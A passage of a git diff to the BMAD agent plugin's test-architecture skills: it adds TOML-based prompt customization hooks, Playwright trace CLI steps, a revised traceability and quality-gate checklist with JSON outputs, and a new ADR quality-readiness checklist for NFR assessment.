+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-01-load-context.md b/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-01-load-context.md
index d9d6db5..f199d47 100644
--- a/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-01-load-context.md
+++ b/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-01-load-context.md
@@ -2,7 +2,7 @@
 name: 'step-01-load-context'
 description: 'Load knowledge base, determine scope, and gather context'
 nextStepFile: './step-02-discover-tests.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 outputFile: '{test_artifacts}/test-review.md'
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-02-discover-tests.md b/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-02-discover-tests.md
index 0e3865e..74b7f9a 100644
--- a/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-02-discover-tests.md
+++ b/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-02-discover-tests.md
@@ -73,6 +73,13 @@ All commands use the same named session to target the correct browser:
 6. `playwright-cli -s=tea-review network` → capture network request log
 7. `playwright-cli -s=tea-review close`
 
+After capturing `trace.zip`, prefer Playwright's newer trace CLI for local or downloaded artifact analysis:
+
+- `npx playwright trace open <trace.zip>` to start a trace session
+- `npx playwright trace actions --grep="expect"` to jump to the failing assertion
+- `npx playwright trace action <n>` / `trace snapshot <n> --name after` for root-cause details
+- `npx playwright trace close` when done
+
 > **Session Hygiene:** Always close sessions using `playwright-cli -s=tea-review close`. Do NOT use `close-all` — it kills every session on the machine and breaks parallel execution.
 
 ---
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-03a-subagent-determinism.md b/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-03a-subagent-determinism.md
index b3a9329..83c5775 100644
--- a/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-03a-subagent-determinism.md
+++ b/plugins/bmad/skills/bmad-testarch-test-review/steps-c/step-03a-subagent-determinism.md
@@ -98,7 +98,7 @@ if (testFileContent.includes('waitForTimeout')) {
     severity: 'MEDIUM',
     category: 'hard-wait',
     description: 'Test uses waitForTimeout - creates flakiness',
-    suggestion: 'Replace with expect(locator).toBeVisible() or waitForResponse',
+    suggestion: 'Replace with expect(locator).toBeVisible() or interceptNetworkCall-based network waits',
   });
 }
 
diff --git a/plugins/bmad/skills/bmad-testarch-trace/SKILL.md b/plugins/bmad/skills/bmad-testarch-trace/SKILL.md
index 911e77a..b50cff1 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-trace
 description: 'Generate traceability matrix and quality gate decision. Use when the user says "lets create traceability matrix" or "I want to analyze test coverage"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-trace --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-trace --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-trace/checklist.md b/plugins/bmad/skills/bmad-testarch-trace/checklist.md
index 45d4021..037efa8 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/checklist.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/checklist.md
@@ -6,7 +6,7 @@
 This checklist covers **two sequential phases**:
 
 - **PHASE 1**: Requirements Traceability (always executed)
-- **PHASE 2**: Quality Gate Decision (executed if `enable_gate_decision: true`)
+- **PHASE 2**: Quality Gate Decision (decision fields emitted only when `allow_gate: true` and the collection is gate-eligible)
 
 ---
 
@@ -14,7 +14,7 @@ This checklist covers **two sequential phases**:
 
 ## Prerequisites Validation
 
-- [ ] Acceptance criteria are available (from story file OR inline)
+- [ ] A coverage oracle is available or inferred (formal requirements, spec, resolvable external pointer, or synthetic journeys)
 - [ ] Test suite exists (or gaps are acknowledged and documented)
 - [ ] If tests are missing, recommend `*atdd` (trace does not run it automatically)
 - [ ] Test directory path is correct (`test_dir` variable)
@@ -26,7 +26,7 @@ This checklist covers **two sequential phases**:
 ## Context Loading
 
 - [ ] Story file read successfully (if applicable)
-- [ ] Acceptance criteria extracted correctly
+- [ ] Oracle items extracted or inferred correctly
 - [ ] Story ID identified (e.g., 1.3)
 - [ ] `test-design.md` loaded (if available)
 - [ ] `tech-spec.md` loaded (if available)
@@ -51,7 +51,7 @@ This checklist covers **two sequential phases**:
 
 ## Criteria-to-Test Mapping
 
-- [ ] Each acceptance criterion mapped to tests (or marked as NONE)
+- [ ] Each oracle item mapped to tests (or marked as NONE)
 - [ ] Explicit references found (test IDs, describe blocks mentioning criterion)
 - [ ] Test level documented (E2E, API, Component, Unit)
 - [ ] Given-When-Then narrative verified for alignment
@@ -96,9 +96,11 @@ This checklist covers **two sequential phases**:
   - [ ] Criteria with UNIT-ONLY status
   - [ ] Criteria with INTEGRATION-ONLY status
 - [ ] Coverage heuristics gaps identified:
-  - [ ] Endpoints referenced in requirements but not covered by API tests
+  - [ ] Endpoints referenced in requirements/specs but not covered by API tests
   - [ ] Auth/authz criteria missing denied/invalid path tests
   - [ ] Criteria with happy-path-only coverage (missing error scenarios)
+  - [ ] Inferred UI journeys missing E2E/component coverage
+  - [ ] Inferred UI journeys missing loading/empty/error/permission state coverage
 - [ ] Gaps prioritized by risk level using test-priorities framework:
   - [ ] **CRITICAL** - P0 criteria without FULL coverage (BLOCKER)
   - [ ] **HIGH** - P1 criteria without FULL coverage (PR blocker)
@@ -164,10 +166,30 @@ Knowledge fragments referenced:
 - [ ] Quality assessment section included
 - [ ] Recommendations section included
 
-### Coverage Badge/Metric (if enabled)
-
-- [ ] Badge markdown generated
-- [ ] Metrics exported to JSON for CI/CD integration
+### Machine-Readable JSON Output
+
+- [ ] `e2e-trace-summary.json` written to `{e2e_trace_summary_output}`
+- [ ] JSON is valid and parseable
+- [ ] `schema_version` field present
+- [ ] `repo`, `collection_mode`, `collection_status`, `inventory_basis`, and `source_sha` fields populated
+- [ ] `gate_basis` populated (`priority_thresholds` when gate-eligible, `none` otherwise)
+- [ ] `snapshot_at` replaces the old `generated_at` timestamp field
+- [ ] Oracle metadata populated (`resolution_mode`, `confidence`, `sources`, `external_pointer_status`, `synthetic`)
+- [ ] `target.type` and `target.id` identify the evaluated story / epic / release / hotfix
+- [ ] `gate_status` populated only when `allow_gate: true` and `collection_status` is `COLLECTED`
+- [ ] `coverage.inventory` includes `covered`, `total`, and `pct`
+- [ ] `coverage.priority_breakdown` includes P0–P3 and `coverage.by_level` includes e2e/api/component/unit/other
+- [ ] `tests` counts are deduplicated from unique discovered tests (no per-requirement double counting)
+- [ ] `risk_summary` counts match Phase 1 gap analysis
+- [ ] `heuristics` fields populated (`endpoint_gaps`, `auth_negative_path_status`, `error_path_status`)
+- [ ] UI heuristic fields populated when using a source-derived oracle (`ui_journey_status`, `ui_state_status`)
+- [ ] `gate_criteria` thresholds and actuals match gate decision
+- [ ] `blockers` array present (may be empty)
+- [ ] `recommendations` array present (may be empty)
+- [ ] `links.trace_report_path` points to `traceability-matrix.md`
+- [ ] `links.trace_report_url`, `links.artifact_url`, and `links.journey_evidence_url` fields present (may be empty)
+- [ ] `gate-decision.json` written to `{gate_decision_output}` when gate-eligible
+- [ ] `gate-decision.json` contains `evaluated_at`, `gate_basis`, `gate_status`, `rationale`, and per-criterion status fields
 
 ### Updated Story File (if enabled)
 
@@ -181,7 +203,7 @@ Knowledge fragments referenced:
 
 ### Accuracy Checks
 
-- [ ] All acceptance criteria accounted for (none skipped)
+- [ ] All oracle items accounted for (none skipped)
 - [ ] Test IDs correctly formatted (e.g., 1.3-E2E-001)
 - [ ] File paths are correct and accessible
 - [ ] Coverage percentages calculated correctly
@@ -218,7 +240,7 @@ Knowledge fragments referenced:
 
 # PHASE 2: QUALITY GATE DECISION
 
-**Note**: Phase 2 executes only if `enable_gate_decision: true` in workflow.yaml
+**Note**: Phase 2 always emits `e2e-trace-summary.json`; gate decision fields are populated only when `allow_gate: true` and `collection_status` resolves to `COLLECTED`.
 
 ---
 
@@ -301,7 +323,7 @@ Knowledge fragments referenced:
 **P0 Criteria Evaluation:**
 
 - [ ] P0 test pass rate evaluated (must be 100%)
-- [ ] P0 acceptance criteria coverage evaluated (must be 100%)
+- [ ] P0 oracle-item coverage evaluated (must be 100%)
 - [ ] Security issues count evaluated (must be 0)
 - [ ] Critical NFR failures evaluated (must be 0)
 - [ ] Flaky tests evaluated (must be 0 if burn-in enabled)
@@ -310,9 +332,9 @@ Knowledge fragments referenced:
 **P1 Criteria Evaluation:**
 
 - [ ] P1 test pass rate evaluated (threshold: min_p1_pass_rate)
-- [ ] P1 acceptance criteria coverage evaluated (PASS >=90%, CONCERNS 80-89%, FAIL <80%)
+- [ ] P1 oracle-item coverage evaluated (PASS >=90%, CONCERNS 80-89%, FAIL <80%)
 - [ ] Overall test pass rate evaluated (threshold: min_overall_pass_rate)
-- [ ] Overall requirements coverage evaluated (threshold: >=80%)
+- [ ] Overall oracle coverage evaluated (threshold: >=80%)
 - [ ] Code coverage considered if available (informational unless explicitly required by policy)
 - [ ] P1 decision recorded: PASS or CONCERNS
 
@@ -396,8 +418,9 @@ Knowledge fragments referenced:
 
 **Outputs Saved:**
 
-- [ ] Gate decision document saved to `{output_file}`
-- [ ] Gate YAML saved to `{test_artifacts}/gate-decision-{target}.yaml`
+- [ ] Gate decision document saved to `{outputFile}`
+- [ ] `e2e-trace-summary.json` saved to `{e2e_trace_summary_output}` (always)
+- [ ] `gate-decision.json` saved to `{gate_decision_output}` (when gate-eligible)
 - [ ] All outputs are valid and readable
 
 ---
@@ -584,7 +607,7 @@ Knowledge fragments referenced:
 **Phase 1 (Traceability):**
 
 - [ ] All prerequisites met
-- [ ] All acceptance criteria mapped or gaps documented
+- [ ] All oracle items mapped or gaps documented
 - [ ] P0 coverage is 100% OR documented as BLOCKER
 - [ ] Gap analysis is complete and prioritized
 - [ ] Test quality issues identified and flagged
@@ -595,7 +618,8 @@ Knowledge fragments referenced:
 - [ ] All quality evidence gathered
 - [ ] Decision criteria applied correctly
 - [ ] Decision rationale documented
-- [ ] Gate YAML ready for CI/CD integration
+- [ ] `e2e-trace-summary.json` written and valid JSON
+- [ ] `gate-decision.json` written when gate-eligible
 - [ ] Status file updated (if enabled)
 - [ ] Stakeholders notified (if enabled)
 
diff --git a/plugins/bmad/skills/bmad-testarch-trace/customize.toml b/plugins/bmad/skills/bmad-testarch-trace/customize.toml
new file mode 100644
index 0000000..2887221
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-trace
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-trace.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-trace.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-trace/instructions.md b/plugins/bmad/skills/bmad-testarch-trace/instructions.md
index 31754e6..4acbdb5 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/instructions.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/instructions.md
@@ -1,4 +1,4 @@
-# Requirements Traceability & Quality Gate
+# Coverage Traceability & Quality Gate
 
 **Workflow:** `bmad-testarch-trace`
 **Version:** 5.0 (Step-File Architecture)
@@ -7,7 +7,9 @@
 
 ## Overview
 
-Create a requirements-to-tests traceability matrix, analyze coverage gaps, and optionally make a gate decision (PASS/CONCERNS/FAIL/WAIVED) based on evidence.
+Create a coverage-oracle-to-tests traceability matrix, analyze coverage gaps, and optionally make a gate decision (PASS/CONCERNS/FAIL/WAIVED) based on evidence.
+
+When formal requirements are unavailable, the workflow should resolve the best available coverage oracle automatically: specs/contracts first, external pointers second, and synthetic journeys/requirements inferred from source as the final brownfield fallback.
 
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
